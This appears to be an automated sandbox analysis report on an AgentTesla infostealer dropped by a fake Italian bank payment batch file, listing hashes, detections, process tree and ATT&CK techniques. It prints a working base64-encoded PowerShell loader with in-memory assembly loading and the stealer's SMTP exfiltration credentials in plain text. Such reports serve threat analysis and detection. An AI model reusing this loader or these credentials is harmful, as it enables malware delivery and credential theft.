agenttesla | c242446b4e00a26c0c6a4b7a9a47022a636f1f6f83b548d42ac292823521a2c3

General

Target

Avviso di Pagamento_Credit Agricole_Pdf.bat
Size

191KB
MD5

2effd68ca29fb310fbe40749eb566d0e
SHA1

bb23473d4be94830371bd52afe37cb1b59609ed5
SHA256

463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
SHA512

994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
SSDEEP

3072:4/IpFBvxdugvwReuVhjNCHhGHkTjV/bnHVeLYvElkMp2GMkCTH3djFoll4MPUQTZ:4/APubReSj460jhHkLYvEAP3soMPxoWV

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
info@agagroup.lv
Password:
@Aga#Group777!

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.agagroup.lv
Port:
587
Username:
info@agagroup.lv
Password:
@Aga#Group777!
Email To:
remiset@remisat.com.uy

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 api.ipify.org
15 ip-api.com
13 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4376 set thread context of 1884 4376 powershell.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

3236 powershell.exe
3236 powershell.exe
4376 powershell.exe
4376 powershell.exe
1884 RegAsm.exe
1884 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3236 powershell.exe
Token: SeDebugPrivilege 4376 powershell.exe
Token: SeDebugPrivilege 1884 RegAsm.exe

flow	ioc
14	api.ipify.org
15	ip-api.com
13	api.ipify.org

description	pid	process	target process
PID 4376 set thread context of 1884	4376	powershell.exe	RegAsm.exe

pid	process
3236	powershell.exe
3236	powershell.exe
4376	powershell.exe
4376	powershell.exe
1884	RegAsm.exe
1884	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	1884	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4560 wrote to memory of 1080	4560	cmd.exe	cmd.exe
PID 4560 wrote to memory of 1080	4560	cmd.exe	cmd.exe
PID 1080 wrote to memory of 3236	1080	cmd.exe	powershell.exe
PID 1080 wrote to memory of 3236	1080	cmd.exe	powershell.exe
PID 1080 wrote to memory of 3236	1080	cmd.exe	powershell.exe
PID 1080 wrote to memory of 4376	1080	cmd.exe	powershell.exe
PID 1080 wrote to memory of 4376	1080	cmd.exe	powershell.exe
PID 1080 wrote to memory of 4376	1080	cmd.exe	powershell.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe
PID 4376 wrote to memory of 1884	4376	powershell.exe	RegAsm.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Avviso di Pagamento_Credit Agricole_Pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Avviso di Pagamento_Credit Agricole_Pdf.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3236

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4376

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
60f1115f690956e3595b6bb161623ba5

SHA1
c46a4c8f417b1f9f1e4b5347499d230988484f00

SHA256
83365acc0fc1ef49b65cc9c759a16428d0d2074d0832b69298e459023088ecb6

SHA512
2561008be1c5401be5db318a98765be045e66f97b85c2e2e6e4f38c023cc4d462da8da19ba93d236ea8c76f1446edb5f6aadbff39f608d1e5e82f02d16fd7851

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_knbwg0ab.dbh.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\chrome.bat
Filesize
191KB

MD5
2effd68ca29fb310fbe40749eb566d0e

SHA1
bb23473d4be94830371bd52afe37cb1b59609ed5

SHA256
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec

SHA512
994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6

Download Submit
C:\Users\Admin\chrome.ps1
Filesize
1KB

MD5
1d6288e218ce9fed4e703ef5aa2e6c08

SHA1
39c5fbc0b8931bab67c40dc3f45be696ea3beb90

SHA256
d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

SHA512
c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

Download Submit
memory/1884-56-0x00000000068E0000-0x000000000697C000-memory.dmp

Filesize
624KB

Download
memory/1884-57-0x0000000006A20000-0x0000000006AB2000-memory.dmp

Filesize
584KB

Download
memory/1884-58-0x00000000068D0000-0x00000000068DA000-memory.dmp

Filesize
40KB

Download
memory/1884-54-0x0000000005400000-0x0000000005410000-memory.dmp

Filesize
64KB

Download
memory/1884-53-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download
memory/1884-59-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download
memory/1884-60-0x0000000005400000-0x0000000005410000-memory.dmp

Filesize
64KB

Download
memory/1884-51-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3236-22-0x0000000007DB0000-0x000000000842A000-memory.dmp

Filesize
6.5MB

Download
memory/3236-9-0x0000000005E50000-0x0000000005EB6000-memory.dmp

Filesize
408KB

Download
memory/3236-23-0x0000000007560000-0x000000000757A000-memory.dmp

Filesize
104KB

Download
memory/3236-21-0x00000000064A0000-0x00000000064EC000-memory.dmp

Filesize
304KB

Download
memory/3236-20-0x0000000006450000-0x000000000646E000-memory.dmp

Filesize
120KB

Download
memory/3236-2-0x00000000050D0000-0x0000000005106000-memory.dmp

Filesize
216KB

Download
memory/3236-19-0x0000000005F00000-0x0000000006254000-memory.dmp

Filesize
3.3MB

Download
memory/3236-27-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download
memory/3236-8-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/3236-7-0x0000000005690000-0x00000000056B2000-memory.dmp

Filesize
136KB

Download
memory/3236-5-0x00000000051E0000-0x00000000051F0000-memory.dmp

Filesize
64KB

Download
memory/3236-6-0x0000000005820000-0x0000000005E48000-memory.dmp

Filesize
6.2MB

Download
memory/3236-4-0x00000000051E0000-0x00000000051F0000-memory.dmp

Filesize
64KB

Download
memory/3236-3-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download
memory/4376-40-0x00000000063C0000-0x0000000006714000-memory.dmp

Filesize
3.3MB

Download
memory/4376-50-0x0000000077BD1000-0x0000000077CF1000-memory.dmp

Filesize
1.1MB

Download
memory/4376-49-0x0000000005750000-0x000000000575A000-memory.dmp

Filesize
40KB

Download
memory/4376-47-0x0000000006750000-0x00000000067B4000-memory.dmp

Filesize
400KB

Download
memory/4376-55-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download
memory/4376-45-0x0000000008300000-0x00000000088A4000-memory.dmp

Filesize
5.6MB

Download
memory/4376-43-0x0000000007CB0000-0x0000000007D46000-memory.dmp

Filesize
600KB

Download
memory/4376-44-0x0000000006F60000-0x0000000006F82000-memory.dmp

Filesize
136KB

Download
memory/4376-30-0x00000000055F0000-0x0000000005600000-memory.dmp

Filesize
64KB

Download
memory/4376-29-0x00000000751B0000-0x0000000075960000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads